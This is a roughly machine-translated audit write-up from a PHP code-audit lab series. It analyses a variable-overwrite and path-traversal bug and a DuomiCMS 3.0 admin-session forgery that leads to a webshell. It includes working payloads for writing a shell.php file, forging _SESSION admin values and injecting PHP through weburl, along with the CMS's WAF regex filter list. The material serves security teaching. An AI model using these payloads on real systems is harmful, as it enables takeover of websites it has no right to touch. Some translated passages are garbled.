He began to practice [red] team of PHP-Audit-Labs code audit Day14
link: https://github.com/hongriSec/PHP-Audit-Labs
interested students can go to Exercise
Prior knowledge:
content title comes from PHP SECURITY 2017 CALENDAR
Day 14 - Snowman code is as follows:
class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;
public function __construct($input) {
$this->id = rand(1, 1000);
foreach ($input as $field => $count) {
$this->$field = $count++;
}
}
public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}
$carrot = new Carrot($_GET);
Vulnerability Analysis:
This question is about a 变量覆盖
the 路径穿越
problem. In the 第10-11行
office,
foreach ($input as $field => $count) {
$this->$field = $count++;
}
Carrot
Super class constructor global array $_GET
for variable register, so to cover 第8行
the defined $this->
variables.
$this->id = rand(1, 1000);
In 第16-18行
destructor at the
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
file_put_contents
The first parameter is again a function of $this->
variable splicing, which leads us to control the position of written documents, eventually leading to any file written question. Here we try to use payload
: id=../var/www/html/shell.php&shell=',)%0a//
write webshell:
Case Analysis:
The case study, we selected is
DuomiCMS_3.0
the latest version of the related vulnerability analysis.
Vulnerability POC site to provide security tools, procedures (methods) may carry offensive, only for safety research and teaching purposes at your own risk!
Vulnerability Analysis:
The existence of global variables CMS registration problems, if the program is written properly, will lead to variable coverage, we have to analyze this is covered by variable caused getshell
the problem.
First, let's look at the CMS global variables registration code, which is located in duomiphp/common.php
(lines 36-55) file, as follows:
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
Wherein the _RunMagicQuotes
function special symbols, using addslashes
the function escaping. Let's search fwrite
function to see if there is written documentation procedures available ( 为了写 shell
). phpstorm
Program search results are as follows:
We can see there is a admin\admin_ping.php
file, there are places available, because the target file is written to the PHP
program, and the two controllable variables exist written content. Its code as follows:
$weburl
variables and $token
variables from POST方式
obtaining, through which only the variable _RunMagicQuotes
function filtering process, and the duomiphp\webscan.php
filtering rule file (lines 18-22),
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*
(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\
(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\
([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-
z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\
(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?
[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|
(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?
(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?
\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\
(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\
(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?
when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?
\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\
(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?
[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|
(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?
(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|
(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\
(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\
(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?
[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\
(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\
(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?
VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\
(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+
(TABLE|DATABASE)";
But it does not affect us write shell.
To use this file, however, we must be admin
identity, or do not have permission to access the file. So we look at how the CMS user identity confirmation, prior to the potential use of variable coverage to forge identity?
Follow up the admin\admin_ping.php
beginning of the file that contains the admin\config.php
file, then we will be focusing on is the following code:
we need to know how to program the user's identity for processing, follow-up duomiphp\check.admin.php
file (lines 34-54), concerned the following code:
We can see here records 用户名字
, , 所属组
, 用户
look at admin
the corresponding three values is. Find the admin\login.php
file (lines 57-88)
if(!empty($userid) && !empty($pwd))
{
$res = $cuserLogin->checkUser($userid,$pwd);
//success
if($res==1)
{
$cuserLogin->keepUser();
if(!empty($gotopage))
{
ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
exit();
}
else
{
ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
exit();
}
}
//error
else if($res==-1)
{
ShowMsg('你的用户名不存在!','-1');
exit();
}
else
{
ShowMsg('你的密码错误!','-1');
exit();
}
}
Which began the third line, we just let the checkUser
method returns 1 that is admin用户
.
Follow-up duomiphp\check.admin.php
file (lines 72-101) of the checkUser
method, the specific code is as follows:
function checkUser($username,$userpwd)
{
global $dsql;
//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username);
$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd);
$pwd = substr(md5($this->userPwd),5,20);
$dsql->SetQuery("Select * From `duomi_admin` where name like '".$this->userName."' and state='1' limit 0,1");
$dsql->Execute();
$row = $dsql->GetObject();
if(!isset($row->password))
{
return -1;
}
else if($pwd!=$row->password)
{
return -2;
}
else
{
$loginip = GetIP();
$this->userID = $row->id;
$this->groupid = $row->groupid;
$this->userName = $row->name;
$inquery = "update `duomi_admin` set loginip='$loginip',logintime='".time()."' where id='".$row->id."'";
$dsql->ExecuteNoneQuery($inquery);
return 1;
}
}
We log in directly back-end admin account using the correct password, admin user can observe the corresponding user and owning group are 1.
So now we just use the variable coverage holes, covering the session
value of the forgery admin
identity, then you can happily write a shell.
Exploit:
We need to find some open session_start
program functions to assist us false identity, we here choose member/share.php
the file.
Our first visit as follows payload
:
http://10.211.55.5/member/share.php?_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1
http://10.211.55.5/admin/admin_ping.php?action=set
post:
weburl=";phpinfo();//&token=
Advice:
In fact, this loophole and Dedecms
variable coverage hole is very similar. In the Dedecms
official fix the code, the multi-detection for PHP variable name is the original super-global array, and if so, exit and inform the variables are not allowed, specific repair codes are as follows:
Epilogue
Thanks again [Red team]